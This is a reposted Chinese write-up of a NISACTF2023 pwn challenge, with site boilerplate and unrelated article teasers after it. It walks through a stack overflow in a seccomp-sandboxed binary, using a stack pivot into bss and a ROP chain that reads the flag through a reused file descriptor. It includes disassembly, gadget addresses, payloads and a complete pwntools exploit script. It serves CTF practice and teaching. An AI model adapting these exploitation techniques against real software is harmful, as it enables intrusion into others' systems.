NISACTF2023 WP

这篇具有很好参考价值的文章主要介绍了NISACTF2023 WP。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

NISACTF2023 WP

前言

2年多没玩CTF了,pwn显得手生了不少,我的PWN环境已经在硬盘的某个角落里吃灰了。今天参加了一场校赛,捣鼓了一下午,Reverse和PWN都AK了。其实比赛是新手向,没啥难度,不过有道PWN设计的比较巧妙,got了两个tips,也就是今天将要分享的。

基本信息

NISACTF2023 WP

64位程序,只开启了栈不可执行保护。

分析

NISACTF2023 WP

显然漏洞点是栈溢出,能溢出的大小只有0x28字节。同时注意到程序开启了沙箱规则

NISACTF2023 WP

禁止使用特定的系统调用 e x e c v e \textcolor{cornflowerblue}{execve} execve e x e c v e a t \textcolor{cornflowerblue}{execveat} execveat和某个范围内的指令。

已知flag在同目录下的flag文件里,并且程序中引用了 o p e n \textcolor{cornflowerblue}{open} open r e a d \textcolor{cornflowerblue}{read} read p u t s \textcolor{cornflowerblue}{puts} puts等函数,只要有这3个就足够了。

利用思路就是构造 R o p c h a i n 去读取 f l a g 到某个地址上,然后将其打印出来。 \textcolor{green}{利用思路就是构造Ropchain去读取flag到某个地址上,然后将其打印出来。} 利用思路就是构造Ropchain去读取flag到某个地址上,然后将其打印出来。

但是浅尝之后发现溢出的大小不足以构造这样的Ropchain,遂考虑进行栈迁移。通常使用栈迁移的gadgets l e a v e ; r e t \textcolor{orange}{leave;ret} leave;ret,我打算在bss段(0x4040E8+0x80)中重建新的栈。在栈迁移之前应该在新栈中就已布置好Ropchain,但是直接用常规的栈迁移方式同样受限于溢出的大小不足。

所以这里就出现了一个小tips,我们来看看 m a i n \textcolor{cornflowerblue}{main} main函数的汇编代码:

.text:00000000004012E0                                                 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00000000004012E0                                                                 public main
.text:00000000004012E0                                                 main            proc near               ; DATA XREF: _start+21↑o
.text:00000000004012E0
.text:00000000004012E0                                                 buf             = byte ptr -40h
.text:00000000004012E0                                                 var_4           = dword ptr -4
.text:00000000004012E0
.text:00000000004012E0                                                 ; __unwind {
.text:00000000004012E0 F3 0F 1E FA                                                     endbr64
.text:00000000004012E4 55                                                              push    rbp
.text:00000000004012E5 48 89 E5                                                        mov     rbp, rsp
.text:00000000004012E8 48 83 EC 40                                                     sub     rsp, 40h
.text:00000000004012EC B8 00 00 00 00                                                  mov     eax, 0
.text:00000000004012F1 E8 7B FF FF FF                                                  call    init
.text:00000000004012F6 BE 00 00 00 00                                                  mov     esi, 0          ; oflag
.text:00000000004012FB 48 8D 3D 06 0D 00 00                                            lea     rdi, file       ; "flag"
.text:0000000000401302 B8 00 00 00 00                                                  mov     eax, 0
.text:0000000000401307 E8 E4 FD FF FF                                                  call    _open
.text:000000000040130C 89 45 FC                                                        mov     [rbp+var_4], eax
.text:000000000040130F 48 8D 3D FA 0C 00 00                                            lea     rdi, s          ; "We opened flag, no need to thank."
.text:0000000000401316 E8 85 FD FF FF                                                  call    _puts
.text:000000000040131B 48 8D 3D 10 0D 00 00                                            lea     rdi, aNowPleaseSignI ; "Now please sign in ~"
.text:0000000000401322 E8 79 FD FF FF                                                  call    _puts
.text:0000000000401327 48 8D 3D 19 0D 00 00                                            lea     rdi, format     ; ">> "
.text:000000000040132E B8 00 00 00 00                                                  mov     eax, 0
.text:0000000000401333 E8 78 FD FF FF                                                  call    _printf
.text:0000000000401338 48 8D 45 C0                                                     lea     rax, [rbp+buf]
.text:000000000040133C BA 68 00 00 00                                                  mov     edx, 68h ; 'h'  ; nbytes
.text:0000000000401341 48 89 C6                                                        mov     rsi, rax        ; buf
.text:0000000000401344 BF 00 00 00 00                                                  mov     edi, 0          ; fd
.text:0000000000401349 E8 72 FD FF FF                                                  call    _read
.text:000000000040134E B8 00 00 00 00                                                  mov     eax, 0
.text:0000000000401353 C9                                                              leave
.text:0000000000401354 C3                                                              retn
.text:0000000000401354                                                 ; } // starts at 4012E0
.text:0000000000401354                                                 main            endp

在**@line:27**,会将 [ r b p − 0 x 40 ] \textcolor{orange}{[rbp-0x40]} [rbp0x40]作为 r e a d \textcolor{cornflowerblue}{read} read读入的地址,这一处可以用来向新栈中布置Ropchain,然后再利用常规的栈迁移gadgets将旧的栈迁移到新的栈,这是我想说的第一个点。

例如,我想将旧的栈迁移到 0 x 4040 E 8 + 0 x 80 \textcolor{orange}{0x4040E8+0x80} 0x4040E8+0x80位置,在第一次溢出的时候将rbp的值覆盖为 0 x 4040 E 8 + 0 x 80 − 0 x 40 \textcolor{orange}{0x4040E8+0x80-0x40} 0x4040E8+0x800x40,返回地址覆盖为0x401338,这样我就相当于拥有0x68个有效溢出字节的能力了,而此前只有0x28个有效溢出字节。

这一步的payload:

pop_rdi_ret = 0x4013c3
pop_rsi_r15_ret = 0x4013c1
pop_rbx_ret=0x4011DD
leave_ret=0x40126f
puts_plt = 0x4010A4
printf_plt = 0x04010B4
read_plt = 0x4010C0
buf = 0x404060 
stack = 0x4040E8+0x80
pay1 = '\x00'*64+p64(stack)+p64(0x401338)
p.sendlineafter('>> ',pay1)

为了合理布局栈,需要通过调试确定执行完毕0x401353的指令后rsp的位置,首先输入一些垃圾值: ′ A ’ ∗ 0 x 10 \textcolor{orange}{'A’*0x10} A0x10

NISACTF2023 WP

RSI指向的是 r e a d \textcolor{cornflowerblue}{read} read写入的地址此时的RSP指向的是即将ret的地址,两者差值0x48,所以这里可以理解为在输入0x48个字节之后就会覆盖返回地址。所以这第二次输入就可以构造正常的Ropchain了,不过这里需要舍弃 o p e n \textcolor{cornflowerblue}{open} open步骤,否则又超出0x68个字节了,同时还找不到合适的gadgetsrax的值传递到rdi寄存器中。正常的RopChain

fd=open('flag') // 需要省略这一步,因为加上这一步的gadgets,导致总的Ropchain长度超过0x68字节
read(fd,buf,n)
puts(buf)

省略的这一步可以用以下gadgets代替:

pay2=p64(pop_rdi_ret)+p64(3)

完整的Ropchain:

pay2=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_r15_ret)+p64(buf)+p64(0)+p64(read_plt)+p64(pop_rdi_ret)+p64(buf)+p64(puts_plt)
pay2+=p64(pop_rbx_ret)+p64(0x404128-8)+p64(leave_ret)

原理是,回顾上面的main函数汇编代码,第一次运行程序的时候,在 @lin:18打开了flag文件,此时就会返回一个文件号,这个文件号是递增的,源程序只用了3个文件号:stdinstdoutstderr,分别对应012,所以flag的文件号就是3,在源程序没有退出前,这个文件号是一直有效的。这是我想说的第二点。

通过这样的方式完成了整个漏洞利用,并获取了flag。文章来源地址https://www.toymoban.com/news/detail-416034.html

完整EXP

from pwn import*

context.log_level = 1

local = True

if local:
    p = process('biexiangtao')
else:
    p = remote('10.144.00.228',34757)

pop_rdi_ret = 0x4013c3
pop_rsi_r15_ret = 0x4013c1
pop_rbx_ret=0x4011DD
leave_ret=0x40126f
puts_plt = 0x4010A4
printf_plt = 0x04010B4
read_plt = 0x4010C0
buf = 0x404060 
stack = 0x4040E8+0x80

pay1 = '\x00'*64+p64(stack)+p64(0x401338)
p.sendlineafter('>> ',pay1)
pay2=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_r15_ret)+p64(buf)+p64(0)+p64(read_plt)+p64(pop_rdi_ret)+p64(buf)+p64(puts_plt)
pay2+=p64(pop_rbx_ret)+p64(0x404128-8)+p64(leave_ret)

p.send(pay2)

p.interactive()

到了这里,关于NISACTF2023 WP的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 手机也能拍出艺术品?大师镜头,“真”突破了不少

    历经无数日夜的技术研发,蛰伏已久的Xiaomi 12S系列终于露出庐山真面目。 此次Xiaomi 12S系列(Pro/Ultra)搭载了全新的 “大师镜头包” ,内含“35mm 经典人文黑白镜头”、“50mm 经典人像旋焦镜头”、“90mm 经典人像柔焦镜头”三款人像镜头。 大师镜头包,可以轻松适配不同

    2024年02月09日
    浏览(36)
  • 【网络安全】这份近 200 页应急响应文档,帮助了不少安全逆子

    成为伟大黑客的关键在于做自己喜爱的事,要把一件事情做好,你必须热爱它。所以只要你能坚持对安全技术的热爱,到了这种程度,你就会做得更好。 本文档注重理论与实战结合,不仅提供关键源代码供读者快速实践,而且阐明其中原理并给出案例。 俗话说得好,他山之

    2024年04月11日
    浏览(38)
  • ​ | AI顶会论文很多附带源代码?不少是假开源!

    看到一篇绝佳的AI论文,非常期待作者能提供源代码,全文搜索HTTP,可惜出来的都不是源代码的链接。好不容易碰到一篇附带源代码的论文,点进去却是大大的404。终于发现某个不是404的源代码仓库,结果只是放上了几句说明,写着“代码coming soon”,然后一等就是一万年.

    2023年04月24日
    浏览(38)
  • 一个含不少免费额度和数据下载的IP地址来源查询工具

    大家好,我是TJ君! 如今在国内运营的各种互联网应用都有接入IP来源显示的要求,现在相关API的供应商也很多。今天TJ刚好看到一个不错的,所以马上给大家推荐一下。 这款不错的产品名称为: IPInfo 该IP查询工具除了传统的提供地址位置之外,还有很多其他能力,具体的这

    2024年02月08日
    浏览(42)
  • 程序员自学Python,走过不少弯路,给大家一点经验建议

    前言 : 首先感谢刚到csdn后各位读者对民叔的支持,尽管大家看完文章后没有 一键三连 让民叔有一点点的气馁 ,但是民叔会不断的学习,给大家带来更多的经验和学习建议,可以一起学习,共同进步。 Python的发展史是一部典型的励志大片。自1989年诞生以来,从名不见经传

    2024年02月02日
    浏览(40)
  • 【算法精讲】一篇让你掌握前缀和算法(附图解和不少题目练习~~)

    前缀和算法是一种用空间换时间的算法,他常常用于解决某些题目或者作为某些高级算法的组成部分。 例如:让你求某个矩阵(一维)的子矩阵的最大值,如果使用暴力解法它的时间复杂度将会是O(n^2) ,但如果使用该算法就可以使其时间复杂度降低一个维度也就是O(N). 讲解

    2024年04月13日
    浏览(33)
  • 更新Windows 11的问题真不少,0x800f081f就是其中之一,修复方法详解如下

    由于多种原因,安装最新的Windows 11更新至关重要,但不少的人一直在抱怨Windows 11安装错误0x800f081f。此错误代码主要与Microsoft.NET Framework 3.5不兼容有关。 值得注意的是,使用Windows 10操作系统的用户也报告了类似的问题。以下是修复它的方法。 错误0x800f081f是与Windows 11中的更

    2024年02月06日
    浏览(94)
  • 前几天面了个30岁的测试员,年薪50w问题基本都能回答上,应该刷了不少八股文···

    互联网行业竞争是一年比一年严峻,作为测试工程师的我们唯有不停地学习,不断的提升自己才能保证自己的核心竞争力从而拿到更好的薪水,进入心仪的企业(阿里、字节、美团、腾讯等大厂.....) 所以,大家就迎来了一堆问题: 自己目前的能力能不能够支撑自己晋升?如

    2024年02月05日
    浏览(37)
  • 01 前言

    什么是C++ C++发展史 C++的重要性 如何学习C++ 关于本专栏 C语言是结构化和模块化的语言,适合处理较小规模的程序。对于复杂的问题,规模较大的程序,需要高度的抽象和建模时,C语言则不合适。为了解决软件危机, 20世纪80年代, 计算机界提出了OOP(object oriented programming:

    2024年02月19日
    浏览(33)
  • 排序前言&冒泡排序

    目录 排序应用 常见的排序算法   BubbleSort冒泡排序 整体思路 图解分析 ​ 代码实现 每趟 写法1 写法2 代码NO1 代码NO2优化 时间复杂度 排序:所谓排序,就是使一串记录,按照其中的某个或某些的大小,递增或递减的排列起来的操作。 稳定性:假定在待排序的记录序

    2024年02月19日
    浏览(40)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包